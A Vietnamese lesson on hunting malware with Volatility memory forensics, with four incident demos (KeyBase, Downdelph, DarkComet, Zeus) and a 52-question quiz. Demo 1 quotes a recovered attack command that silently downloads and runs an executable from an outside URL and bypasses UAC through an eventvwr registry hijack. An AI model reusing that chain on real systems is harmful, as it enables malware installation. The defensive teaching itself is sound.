Bài 8.1: Hunting Malware Using Memory Forensics

1. Memory Forensics là gì và tại sao cần thiết?

Memory Forensics (Pháp chứng bộ nhớ) là kỹ thuật tìm kiếm và trích xuất các artifacts pháp chứng từ RAM của máy tính trong quá trình điều tra sự cố hoặc phân tích mã độc.

Tại sao Memory Forensics quan trọng?

  • RAM lưu trữ thông tin quý giá về trạng thái runtime của hệ thống: tiến trình đang chạy, kết nối mạng đang hoạt động, module đã tải, driver kernel…
  • Một số loại mã độc không ghi component nào xuống đĩa (fileless malware) — chúng chỉ tồn tại trong bộ nhớ, nên nếu không phân tích RAM thì không thể phát hiện.
  • Giúp trả lời các câu hỏi: ứng dụng nào đang chạy? Có kết nối mạng đáng ngờ nào không? Có DLL hoặc shellcode bị inject vào tiến trình hợp lệ không?

2. Quy trình Memory Forensics

flowchart LR A[Máy bị nhiễm] --> B[Memory Acquisition\nDump RAM ra file] B --> C[Memory Analysis\nPhân tích file dump] C --> D[Kết luận & Báo cáo]

Bước 1 — Memory Acquisition

Quá trình sao chép toàn bộ nội dung RAM (volatile memory) sang bộ nhớ không mất dữ liệu (file trên đĩa).

Công cụGhi chú
Comae Memory Toolkit (DumpIt)Phát triển bởi Comae Technologies
WinPmemMột phần của Rekall Framework
Surge CollectPhát triển bởi Volexity
Belkasoft RAM CapturerMiễn phí
FTK ImagerPhát triển bởi AccessData
Đơn giản hơn: chỉ cần suspend VM, file .vmem sẽ là memory image.

Bước 2 — Memory Analysis

Sử dụng framework như Volatility để phân tích file dump.


3. Volatility Framework

Volatility là framework mã nguồn mở, viết bằng Python, chuyên dùng để phân tích memory forensics.

Cú pháp cơ bản

python vol.py -f <mem_image> --profile=<profile> <plugin> [ARGS]

Xác định Profile

Profile xác định phiên bản và kiến trúc của hệ điều hành — cần thiết để Volatility phân tích đúng cấu trúc dữ liệu trong RAM.

# Cách 1
python vol.py -f mem_image imageinfo

# Cách 2
python vol.py -f mem_image kdbgscan

Liệt kê tiến trình đang chạy

python vol.py -f mem_image.raw --profile=Win7SP1x86 pslist

Kết quả trả về: Offset, tên tiến trình, PID, PPID, số thread, số handle, thời gian khởi chạy.


4. Demo 1 — Phân tích mã độc KeyBase

Kịch bản

Một người dùng trong tổ chức nghi ngờ máy bị nhiễm sau khi mở file đính kèm trong email. Bạn là incident responder và đã thu thập được memory image infected.raw từ máy nghi ngờ.


Bước 1 — Liệt kê tiến trình (pslist)

python vol.py -f infected.raw --profile=Win7SP1x86 pslist

Bước 2 — Xác định quan hệ tiến trình cha-con (pstree)

python vol.py -f infected.raw --profile=Win7SP1x86 pstree
flowchart TD A[explorer.exe] --> B[OUTLOOK.EXE\nPID 4068] B --> C[EXCEL.EXE\nPID 1124] C --> D[cmd.exe\nPID 4056] D --> E[doc6.exe\nPID 2308]

Bước 3 — Kiểm tra argument của cmd.exe (cmdline)

python vol.py -f infected.raw --profile=Win7SP1x86 cmdline -p 4056

Kết quả cho thấy cmd.exe thực thi lệnh:

powershell.exe -W hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile(
    'http://www.bemkm.undip.ac.id/two/yboss.exe',
    'C:\Users\test\AppData\Local\Temp\doc6.exe'
)
& reg add HKCU\Software\Classes\mscfile\shell\open\command /d C:\Users\test\AppData\Local\Temp\doc6.exe /f
& eventvwr.exe
& PING -n 15 127.0.0.1>nul
& C:\Users\test\AppData\Local\Temp\doc6.exe

Bước 4 — Xác định đường dẫn mã độc

python vol.py -f infected.raw --profile=Win7SP1x86 cmdline -p 2308
doc6.exe pid: 2308
Command Line: C:\Users\test\AppData\Local\Temp\doc6.exe

Mã độc chạy từ đúng nơi PowerShell đã tải về — thư mục %TEMP%.


Bước 5 — Dump tiến trình mã độc để phân tích

python vol.py -f infected.raw --profile=Win7SP1x86 procdump -p 2308 -D dump/

Sau khi dump, quét với VirusTotal xác nhận đây là Trojan/Keylogger (KeyBase malware), được phát hiện bởi Kaspersky là Trojan.Win32.Agent, DrWeb là Trojan.PWS.Stealer.


5. Demo 2 — Phân tích mã độc Downdelph

Kịch bản

Thiết bị bảo mật cảnh báo có kết nối callback từ 192.168.1.70 đến C2 IP 104.171.117.216 trên cổng 80. Memory image thu được là downdelph.vmem.


Bước 1 — Liệt kê kết nối mạng (netscan)

python vol.py -f downdelph.vmem --profile=Win10x86_17134 netscan

Bước 2 — Tìm pattern IP trong bộ nhớ (yarascan)

python vol.py -f downdelph.vmem --profile=Win10x86_17134 yarascan "104.171.117.216"

Bước 3 — Liệt kê DLL đã tải (dlllist)

python vol.py -f downdelph.vmem --profile=Win10x86_17134 dlllist -p 5832

Bước 4 — Dump DLL và xác minh

python vol.py -f downdelph.vmem --profile=Win10x86_17134 dlldump -p 5832 -b 0x00400000 -D dump/

VirusTotal xác nhận đây là Downdelph malware — được nhận dạng là Win32/Sednit (Fancy Bear/APT28 toolset) bởi ESET-NOD32, Kaspersky nhận dạng là HEUR:Trojan.Win32.Delphocygen.


Bước 5 — Ai đã gọi rundll32.exe?

python vol.py -f downdelph.vmem --profile=Win10x86_17134 pstree
flowchart TD A[explorer.exe\nPID 3796] --> B[d.exe\nPID 1308\nThreads=0 - đã kết thúc] B --> C[rundll32.exe\nPID 5832]

6. Demo 3 — Phân tích Darkcomet RAT

Kịch bản

Thiết bị bảo mật cảnh báo kết nối từ 192.168.1.60 đến C2 domain (resolve về 192.168.1.100) trên cổng 1604. Memory image là dc.vmem.


Bước 1 — Liệt kê kết nối mạng

python vol.py -f dc.vmem --profile=Win7SP1x86 netscan

Bước 2 — Phân tích quan hệ tiến trình

python vol.py -f dc.vmem --profile=Win7SP1x86 pstree
flowchart TD A[winlogon.exe\nPID 460 - hợp lệ] --> B[userinit.exe\nPID 1480] A --> C[winlogon.exe\nPID 1516 - độc hại] B --> D[explorer.exe\nPID 1504]

Bước 3 — So sánh đường dẫn tiến trình (dlllist)

# Tiến trình hợp lệ
python vol.py -f dc.vmem --profile=Win7SP1x86 dlllist -p 460
# Command Line: winlogon.exe
# Path: C:\Windows\system32\winlogon.exe

# Tiến trình độc hại
python vol.py -f dc.vmem --profile=Win7SP1x86 dlllist -p 1516
# Command Line: C:\system32\winlogon.exe
# Path: C:\system32\winlogon.exe

Bước 4 — Kiểm tra Registry persistence

python vol.py -f dc.vmem --profile=Win7SP1x86 dumpregistry -D dump/
strings -el dump/ | grep -i "c:\\system32\\winlogon.exe"

Tìm thấy entry trong hai hive:

Key: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Value: Userinit
Data: C:\Windows\system32\userinit.exe, C:\system32\winlogon.exe

Mã độc thêm chính nó vào giá trị Userinit của Winlogon → mỗi lần Windows đăng nhập, winlogon.exe hợp lệ sẽ gọi cả userinit.exe lẫn mã độc.

Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value: winlogon
Data: C:\system32\winlogon.exe

Persistence qua Run key — chạy mỗi lần user đăng nhập.


Bước 5 — Phát hiện Process Injection vào explorer.exe

# Kiểm tra handle mà PID 1516 đang giữ
python vol.py -f dc.vmem --profile=Win7SP1x86 handles -p 1516 -t Process

Kết quả: PID 1516 giữ handle đến explorer.exe (PID 1504) với quyền 0x1f1fff (full access).

# Tìm vùng nhớ bất thường trong explorer.exe
python vol.py -f dc.vmem --profile=Win7SP1x86 malfind -p 1504
# Dump vùng nhớ đó
python vol.py -f dc.vmem --profile=Win7SP1x86 vaddump -b 0x4a80000 -D dump/

VirusTotal xác nhận: Darkcomet RAT (Backdoor.Win32.DarkKomet theo Kaspersky).


7. Demo 4 — Zeus Bot (Code Injection & API Hooking)

Code Injection là gì?

Code Injection là kỹ thuật mã độc inject code của mình vào vùng nhớ của một tiến trình hợp lệ rồi thực thi code đó trong ngữ cảnh của tiến trình đó.

flowchart LR subgraph Malware_Process [Malware Process] M1[DLLs] M2[PEB] M3[Process Heap] M4[Thread Stack] M5[Executable] end subgraph Target_Process [Target Process] T1[DLLs] T2[PEB] T3[Process Heap] T4[Thread Stack] T5[Executable] T6["Malicious Code (DLL / ShellCode)"] end Malware_Process -- "Injection Technique" --> T6

Zeus Bot — Phát hiện Injection

python vol.py -f zeus.vmem --profile=Win10x86_17134 malfind -p 3872

API Hooking

API Hooking là kỹ thuật mã độc chèn lệnh nhảy (JMP) vào đầu hàm API hệ thống để chuyển hướng luồng thực thi đến code của mình trước khi hàm gốc chạy.

python vol.py -f zeus.vmem --profile=Win10x86_17134 apihooks -p 3872
Hook mode: Usermode
Hook type: Inline/Trampoline
Process: 3872 (explorer.exe)
Victim module: WININET.dll
Function: WININET.dll!HttpSendRequestA at 0x66de32e0
Hook address: 0x6f1ec48
Hooking module: <unknown>

Disassembly:
0x66de32e0  JMP 0x6f1ec48      ; <-- lệnh JMP được inject
0x66de32e5  SUB ESP, 0x3c
0x66de32e8  LEA EAX, [EBP-0x3c]
0x66de32eb  PUSH ESI

8. Tổng kết & Bài học


Câu hỏi trắc nghiệm

Câu 1. Memory Forensics chủ yếu liên quan đến việc phân tích loại dữ liệu nào?

  • A. Dữ liệu trên ổ cứng
  • B. Dữ liệu trong RAM
  • C. Dữ liệu trong log file
  • D. Dữ liệu trong registry

Câu 2. Tại sao Memory Forensics đặc biệt quan trọng đối với “fileless malware”?

  • A. Vì fileless malware chạy rất chậm nên dễ phát hiện trong RAM
  • B. Vì fileless malware không ghi component xuống đĩa, chỉ tồn tại trong bộ nhớ
  • C. Vì fileless malware mã hóa toàn bộ ổ cứng
  • D. Vì fileless malware luôn làm tắt các công cụ AV

Câu 3. Khi sử dụng Volatility, lệnh nào dùng để xác định profile của memory image?

  • A. pslist
  • B. pstree
  • C. imageinfo
  • D. netscan

Câu 4. Plugin pstree của Volatility khác pslist ở điểm nào?

  • A. pstree liệt kê tiến trình nhanh hơn
  • B. pstree hiển thị quan hệ cha-con giữa các tiến trình theo dạng cây
  • C. pstree chỉ hiển thị tiến trình của kernel
  • D. pstree liệt kê các tiến trình đã kết thúc

Câu 5. Trong Demo 1 (KeyBase), chuỗi tiến trình cha-con nào cho thấy vector lây nhiễm?

  • A. explorer.exe → cmd.exe → doc6.exe
  • B. explorer.exe → OUTLOOK.EXE → EXCEL.EXE → cmd.exe → doc6.exe
  • C. svchost.exe → OUTLOOK.EXE → doc6.exe
  • D. winlogon.exe → OUTLOOK.EXE → doc6.exe

Câu 6. Trong Demo 1, PowerShell được gọi với tham số -ep bypass. Tham số này có tác dụng gì?

  • A. Tắt tường lửa Windows
  • B. Bỏ qua chính sách thực thi script (Execution Policy)
  • C. Chạy PowerShell với quyền SYSTEM
  • D. Mã hóa lệnh PowerShell

Câu 7. Kỹ thuật UAC Bypass sử dụng eventvwr.exe trong Demo 1 hoạt động như thế nào?

  • A. eventvwr.exe khai thác lỗ hổng buffer overflow
  • B. eventvwr.exe đọc registry key HKCU\Software\Classes\mscfile\shell\open\command và thực thi giá trị đó với high integrity mà không hiện UAC prompt
  • C. eventvwr.exe tắt UAC vĩnh viễn
  • D. eventvwr.exe inject code vào lsass.exe

Câu 8. Plugin nào của Volatility dùng để xem argument dòng lệnh của tiến trình?

  • A. pslist
  • B. cmdline
  • C. dlllist
  • D. handles

Câu 9. Trong Demo 2 (Downdelph), plugin nào được dùng để tìm IP của C2 server trong bộ nhớ tiến trình?

  • A. netscan
  • B. dlllist
  • C. yarascan
  • D. malfind

Câu 10. Tại sao rundll32.exe bị nghi ngờ trong Demo 2 (Downdelph)?

  • A. Vì rundll32.exe đang chạy từ thư mục %TEMP%
  • B. Vì bộ nhớ của rundll32.exe chứa IP của C2 và URL /search.php, và nó load DLL apisvcd.dll từ AppData\Roaming
  • C. Vì rundll32.exe có quá nhiều thread
  • D. Vì rundll32.exe được khởi chạy bởi explorer.exe

Câu 11. Plugin dlllist của Volatility dùng để làm gì?

  • A. Liệt kê tất cả DLL trong thư mục System32
  • B. Liệt kê các DLL đã được load vào bộ nhớ của tiến trình cụ thể
  • C. Kiểm tra DLL có bị hook không
  • D. Dump tất cả DLL ra đĩa

Câu 12. Trong Demo 2, tại sao d.exe (PID 1308) đáng ngờ mặc dù đã kết thúc?

  • A. Vì tên file quá ngắn
  • B. Vì nó có 0 threads — tiến trình đã kết thúc sau khi khởi chạy rundll32.exe với DLL độc hại, đây là kỹ thuật tự xóa dấu vết
  • C. Vì nó được khởi chạy bởi explorer.exe
  • D. Vì nó không có command line

Câu 13. Trong Demo 3 (Darkcomet), tại sao winlogon.exe (PID 1516) kết nối đến C2 là bất thường?

  • A. Vì winlogon.exe không được phép chạy trên cổng 1604
  • B. Vì winlogon.exe là tiến trình xác thực đăng nhập Windows, không có lý do hợp lệ để kết nối ra ngoài mạng
  • C. Vì winlogon.exe chỉ được phép kết nối đến domain controller
  • D. Vì cổng 1604 là cổng dành riêng cho hệ thống

Câu 14. Kỹ thuật nào mã độc Darkcomet sử dụng để giả mạo tiến trình hệ thống?

  • A. Process hollowing
  • B. Masquerading — đặt tên file giống tiến trình hệ thống nhưng chạy từ đường dẫn khác (C:\system32\ thay vì C:\Windows\system32\)
  • C. DLL sideloading
  • D. Atom bombing

Câu 15. Trong Demo 3, mã độc thêm persistence bằng cách nào?

  • A. Tạo scheduled task
  • B. Cài service mới
  • C. Thêm vào giá trị Userinit trong registry key Winlogon và thêm vào Run key trong HKCU
  • D. Sửa file hosts

Câu 16. Plugin malfind của Volatility phát hiện điều gì?

  • A. File mã độc trên đĩa
  • B. Vùng nhớ trong tiến trình có permission PAGE_EXECUTE_READWRITE và dấu hiệu PE header (MZ) — chỉ dấu của code injection
  • C. Kết nối mạng đến IP độc hại
  • D. Registry key độc hại

Câu 17. Trong Demo 3, winlogon.exe (PID 1516) giữ handle đến explorer.exe với quyền 0x1f1fff. Điều này có ý nghĩa gì?

  • A. Chỉ là hoạt động bình thường của hệ thống
  • B. PID 1516 có toàn quyền truy cập vào explorer.exe, chuẩn bị inject code
  • C. PID 1516 đang monitor explorer.exe để debug
  • D. PID 1516 cần đọc thông tin từ explorer.exe

Câu 18. Plugin handles của Volatility dùng để làm gì?

  • A. Liệt kê các file đang bị mở bởi tiến trình
  • B. Liệt kê tất cả kernel handle mà tiến trình đang giữ (file, registry key, tiến trình khác, thread…)
  • C. Phát hiện hook trong kernel
  • D. Hiển thị handle count của tiến trình

Câu 19. Code Injection mang lại lợi ích gì cho mã độc?

  • A. Tăng tốc độ xử lý của mã độc
  • B. Mã độc ẩn mình trong tiến trình hợp lệ, qua mặt nhiều giải pháp bảo mật tin tưởng tiến trình đó
  • C. Giúp mã độc vượt qua tường lửa mạng
  • D. Giúp mã độc mã hóa dữ liệu nhanh hơn

Câu 20. Zeus bot hook HttpSendRequestA nhằm mục đích gì?

  • A. Chặn toàn bộ kết nối HTTP của máy nạn nhân
  • B. Chuyển hướng HTTP request đến C2 server
  • C. Đọc và có thể sửa nội dung HTTP request (như form data chứa thông tin đăng nhập) trước khi gửi đi — kỹ thuật Man-in-the-Browser
  • D. Nén dữ liệu HTTP để tiết kiệm băng thông

Câu 21. API Hooking kiểu Inline/Trampoline hoạt động như thế nào?

  • A. Ghi đè toàn bộ hàm API bằng code mới
  • B. Chèn lệnh JMP vào vài byte đầu của hàm API, chuyển hướng thực thi đến hook function, sau đó hook function có thể gọi lại hàm gốc
  • C. Thay thế con trỏ hàm trong Import Address Table
  • D. Tạo một DLL mới chứa hàm trùng tên

Câu 22. Sau khi dump tiến trình với procdump, bước tiếp theo hợp lý nhất là?

  • A. Xóa tiến trình khỏi bộ nhớ
  • B. Quét file dump với VirusTotal hoặc sandbox để xác nhận đây có phải mã độc không
  • C. Ngay lập tức tắt máy bị nhiễm
  • D. Cài lại Windows

Câu 23. Trong Volatility, vaddump khác procdump như thế nào?

  • A. Không có sự khác biệt
  • B. procdump dump toàn bộ executable của tiến trình, còn vaddump dump một vùng địa chỉ ảo (VAD) cụ thể trong bộ nhớ tiến trình
  • C. vaddump nhanh hơn procdump
  • D. procdump chỉ dùng cho 32-bit, vaddump cho 64-bit

Câu 24. Kỹ thuật dumpregistry trong Volatility làm gì?

  • A. Xóa tất cả registry key độc hại
  • B. Dump các registry hive từ bộ nhớ ra file, sau đó có thể dùng công cụ registry viewer để phân tích
  • C. Giám sát sự thay đổi registry theo thời gian thực
  • D. Liệt kê tất cả registry key được tạo bởi tiến trình cụ thể

Câu 25. Trong Demo 1, lệnh PING được dùng để làm gì trong chuỗi lệnh của cmd.exe?

  • A. Kiểm tra kết nối mạng đến máy chủ C2
  • B. Tạo độ trễ thời gian (~15 giây) bằng cách ping localhost 15 lần, để đảm bảo file được tải xong trước khi thực thi
  • C. Đánh lạc hướng hệ thống IDS/IPS
  • D. Xác định địa chỉ IP của máy nạn nhân

Câu 26. Công cụ nào KHÔNG phải là công cụ thu thập memory image từ máy vật lý?

  • A. DumpIt (Comae Memory Toolkit)
  • B. WinPmem
  • C. FTK Imager
  • D. Wireshark

Câu 27. Khi phân tích VM, cách đơn giản nhất để có memory image là gì?

  • A. Cài agent vào VM và chạy DumpIt
  • B. Suspend VM — file .vmem sẽ chứa toàn bộ nội dung RAM của VM tại thời điểm đó
  • C. Chụp snapshot VM
  • D. Kết nối debugger từ xa vào VM

Câu 28. Downdelph malware thuộc nhóm threat actor nào theo kết quả phân tích?

  • A. Lazarus Group (APT38)
  • B. APT29 (Cozy Bear)
  • C. Sednit/Fancy Bear (APT28) — được nhận dạng bởi ESET-NOD32 là Win32/Sednit
  • D. APT41

Câu 29. Darkcomet là loại mã độc thuộc dạng nào?

  • A. Ransomware
  • B. Keylogger
  • C. Remote Access Trojan (RAT)
  • D. Bootkit

Câu 30. Trong bộ nhớ tiến trình, PAGE_EXECUTE_READWRITE là dấu hiệu đáng ngờ vì sao?

  • A. Vì vùng nhớ đó quá lớn
  • B. Vì vùng nhớ bình thường chỉ cần một trong hai quyền: ghi (data) hoặc thực thi (code) — không cần cả hai cùng lúc; việc có cả hai thường chỉ xảy ra khi inject code vào bộ nhớ
  • C. Vì Windows không cho phép permission này
  • D. Vì vùng nhớ đó không được ánh xạ từ file

Câu 31. Plugin netscan khác connections/connscan của Volatility ở điểm nào?

  • A. netscan nhanh hơn
  • B. netscan hỗ trợ cả TCP và UDP, cả IPv4 và IPv6, và hoạt động trên nhiều phiên bản Windows hơn (bao gồm Windows Vista trở lên)
  • C. netscan chỉ hiển thị kết nối đang mở
  • D. netscan cần quyền administrator

Câu 32. Khi phân tích kết nối mạng bằng netscan, kết nối có trạng thái CLOSED vẫn có giá trị điều tra vì sao?

  • A. Vì kết nối CLOSED vẫn đang truyền dữ liệu
  • B. Vì dù kết nối đã đóng, cấu trúc dữ liệu vẫn còn trong bộ nhớ và tiết lộ IP/cổng C2, tiến trình thực hiện kết nối, và thời gian kết nối
  • C. Vì kết nối CLOSED sẽ tự động mở lại
  • D. Kết nối CLOSED không có giá trị điều tra

Câu 33. Trong quá trình incident response, tại sao cần ưu tiên thu thập memory image TRƯỚC KHI làm các việc khác?

  • A. Vì memory image cần nhiều dung lượng nhất
  • B. Vì RAM là volatile — khi tắt máy hoặc tiến trình kết thúc, toàn bộ dữ liệu trong RAM sẽ mất vĩnh viễn
  • C. Vì Volatility chỉ phân tích được live memory
  • D. Vì thu thập memory image là dễ nhất

Câu 34. dlldump plugin của Volatility dùng để làm gì?

  • A. Liệt kê DLL trong tiến trình
  • B. Xóa DLL độc hại khỏi bộ nhớ
  • C. Trích xuất (dump) một DLL cụ thể từ bộ nhớ tiến trình ra file để phân tích tiếp
  • D. So sánh DLL trên đĩa với DLL trong bộ nhớ

Câu 35. Kỹ thuật tấn công nào trong bài học liên quan đến việc mã độc thêm chính nó vào giá trị Userinit của registry?

  • A. Process injection
  • B. DLL hijacking
  • C. Registry persistence / Winlogon persistence — mã độc sẽ được thực thi mỗi khi user đăng nhập
  • D. UAC bypass

Câu 36. Khi điều tra, điều gì khiến C:\system32\winlogon.exe khác với C:\Windows\system32\winlogon.exe?

  • A. Không có sự khác biệt, đây là alias của nhau
  • B. C:\system32\ không phải đường dẫn hệ thống chuẩn của Windows — thư mục chuẩn là C:\Windows\system32\; đường dẫn khác thường là dấu hiệu mã độc đang masquerade
  • C. C:\system32\ là đường dẫn cho ứng dụng 64-bit
  • D. C:\system32\ là shortcut đến C:\Windows\system32\

Câu 37. Trong context của Memory Forensics, “artifact” là gì?

  • A. Lỗi trong quá trình dump memory
  • B. Bằng chứng kỹ thuật số có giá trị pháp lý thu được từ phân tích bộ nhớ như tiến trình, kết nối mạng, DLL, chuỗi ký tự, key mã hóa…
  • C. File log của hệ thống
  • D. Phiên bản cũ của phần mềm

Câu 38. Trong Demo 3, tại sao winlogon.exe (PID 460) lại là cha của winlogon.exe (PID 1516)?

  • A. Đây là hành vi bình thường khi Windows khởi động
  • B. Winlogon hợp lệ (460) đã bị hijack persistence — registry Userinit entry buộc nó thực thi mã độc (winlogon.exe giả) như một tiến trình con khi user đăng nhập
  • C. Hệ thống cần hai tiến trình winlogon để hoạt động
  • D. PID 1516 là phiên bản cập nhật của winlogon

Câu 39. Plugin apihooks của Volatility phát hiện loại hook nào?

  • A. Chỉ kernel-level hooks
  • B. Chỉ usermode hooks
  • C. Cả usermode (Inline/Trampoline, IAT hooks) và kernel-mode hooks (SSDT hooks, IDT hooks)
  • D. Chỉ IAT hooks

Câu 40. Lý do mã độc thường inject vào explorer.exe thay vì tiến trình khác là?

  • A. Vì explorer.exe có nhiều bộ nhớ nhất
  • B. Vì explorer.exe luôn chạy khi user đăng nhập, có nhiều quyền, và được tin tưởng bởi nhiều giải pháp bảo mật — inject vào đây giúp mã độc tồn tại lâu dài và ẩn mình
  • C. Vì explorer.exe dễ inject nhất về mặt kỹ thuật
  • D. Vì explorer.exe có kết nối internet sẵn

Câu 41. Khi tìm thấy một DLL độc hại trong AppData\Roaming, điều đó có ý nghĩa gì về mặt kỹ thuật?

  • A. DLL đó là component hệ thống được cài đặt sai chỗ
  • B. Thư mục AppData\Roaming không cần quyền administrator để ghi — mã độc có thể cài đặt DLL tại đây mà không cần leo thang đặc quyền, đồng thời né được giám sát trên System32
  • C. DLL đó sẽ bị Windows tự xóa sau khi khởi động lại
  • D. DLL đó chỉ chạy khi user đang online

Câu 42. Trong các demo, rundll32.exe bị lợi dụng như thế nào?

  • A. Bị thay thế bởi file mã độc cùng tên
  • B. Bị dùng để load và thực thi DLL độc hại (apisvcd.dll) — vì rundll32.exe là công cụ hệ thống hợp lệ của Windows dùng để thực thi hàm export từ DLL
  • C. Bị inject shellcode vào bộ nhớ của nó
  • D. Bị hook để chuyển hướng tất cả lời gọi DLL

Câu 43. Trong Memory Forensics, “profile” trong Volatility có nghĩa là gì?

  • A. Thông tin về user đang đăng nhập
  • B. Tập hợp các cấu trúc dữ liệu (data structures), offsets, và symbols đặc thù cho phiên bản và kiến trúc cụ thể của hệ điều hành — Volatility cần để parse đúng memory dump
  • C. Cấu hình của công cụ Volatility
  • D. Thông tin phần cứng của máy bị phân tích

Câu 44. Điểm khác biệt giữa pslistpsscan trong Volatility là gì?

  • A. pslist nhanh hơn psscan
  • B. pslist đi qua linked list của EPROCESS (dễ bị rootkit ẩn), còn psscan scan toàn bộ physical memory tìm EPROCESS structure (khó bị ẩn hơn)
  • C. psscan chỉ tìm tiến trình đã kết thúc
  • D. pslist hiển thị nhiều thông tin hơn psscan

Câu 45. Trong kịch bản Demo 1, tại sao mã độc được tải về %TEMP% thay vì thư mục khác?

  • A. Vì %TEMP% có nhiều dung lượng nhất
  • B. Vì %TEMP% là thư mục user có quyền ghi mà không cần leo thang đặc quyền, và một số AV ít kiểm tra thư mục này hơn System32 hay Program Files
  • C. Vì %TEMP% tự động thực thi file EXE
  • D. Vì file trong %TEMP% được mã hóa

Câu 46. Sau khi phân tích memory, IoC (Indicator of Compromise) nào là quan trọng nhất cần ghi lại?

  • A. Chỉ cần ghi lại tên file mã độc
  • B. IP/domain C2, URL tải payload, hash của mã độc, đường dẫn file, registry key persistence, tên tiến trình và PID, thời gian hoạt động
  • C. Chỉ cần ghi lại địa chỉ IP của C2
  • D. Chỉ cần ghi lại thời gian máy bị nhiễm

Câu 47. Trong Volatility, flag -p (hoặc --pid) được dùng để làm gì?

  • A. Chỉ định đường dẫn output
  • B. Lọc kết quả theo Process ID cụ thể, thay vì phân tích tất cả tiến trình
  • C. Chỉ định physical address
  • D. Chạy plugin ở chế độ parallel

Câu 48. Trong tất cả 3 demo, điểm chung nào trong phương pháp phân tích?

  • A. Tất cả đều bắt đầu từ phân tích registry
  • B. Tất cả đều bắt đầu từ một cảnh báo/nghi ngờ ban đầu → liệt kê tiến trình/kết nối mạng → xác định tiến trình đáng ngờ → đào sâu (cmdline, dlllist, malfind) → dump và xác minh
  • C. Tất cả đều dùng malfind là bước đầu tiên
  • D. Tất cả đều bắt đầu từ phân tích kết nối mạng

Câu 49. Volatility được viết bằng ngôn ngữ lập trình nào và có thể chạy trên hệ điều hành nào?

  • A. C++, chỉ chạy trên Windows
  • B. Python, chạy trên Windows, macOS và Linux
  • C. Java, chạy trên mọi nền tảng có JVM
  • D. Go, chỉ chạy trên Linux

Câu 50. Kết luận nào ĐÚNG về Memory Forensics trong incident response?

  • A. Memory Forensics có thể thay thế hoàn toàn phân tích trên đĩa
  • B. Memory Forensics là kỹ thuật bổ sung mạnh mẽ giúp phát hiện fileless malware, hiểu kỹ thuật tấn công (injection, hooking, persistence), và thu thập IoC mà phân tích đĩa không thể cung cấp
  • C. Memory Forensics chỉ hữu ích khi mã độc đang chạy tại thời điểm dump
  • D. Memory Forensics không phát hiện được các kỹ thuật tấn công nâng cao

Câu 51. Trong Demo 2, tại sao apisvcd.dll được coi là bất thường ngay cả khi chưa biết nội dung của nó?

  • A. Vì tên DLL quá dài
  • B. Vì DLL hệ thống hợp lệ không bao giờ nằm trong AppData\Roaming, và apisvcd.dll không phải tên DLL Windows chuẩn
  • C. Vì DLL có kích thước quá lớn
  • D. Vì DLL được load sau các DLL khác

Câu 52. Tại sao cần dùng psscan --output=dot để xuất dot format trong Demo 1?

  • A. Để tạo file nhỏ hơn
  • B. Để tạo file có thể render thành đồ thị quan hệ cha-con tiến trình bằng công cụ như Graphviz, giúp visualize chuỗi tấn công dễ hiểu hơn
  • C. Để export dữ liệu sang Excel
  • D. Dot format chứa nhiều thông tin hơn text format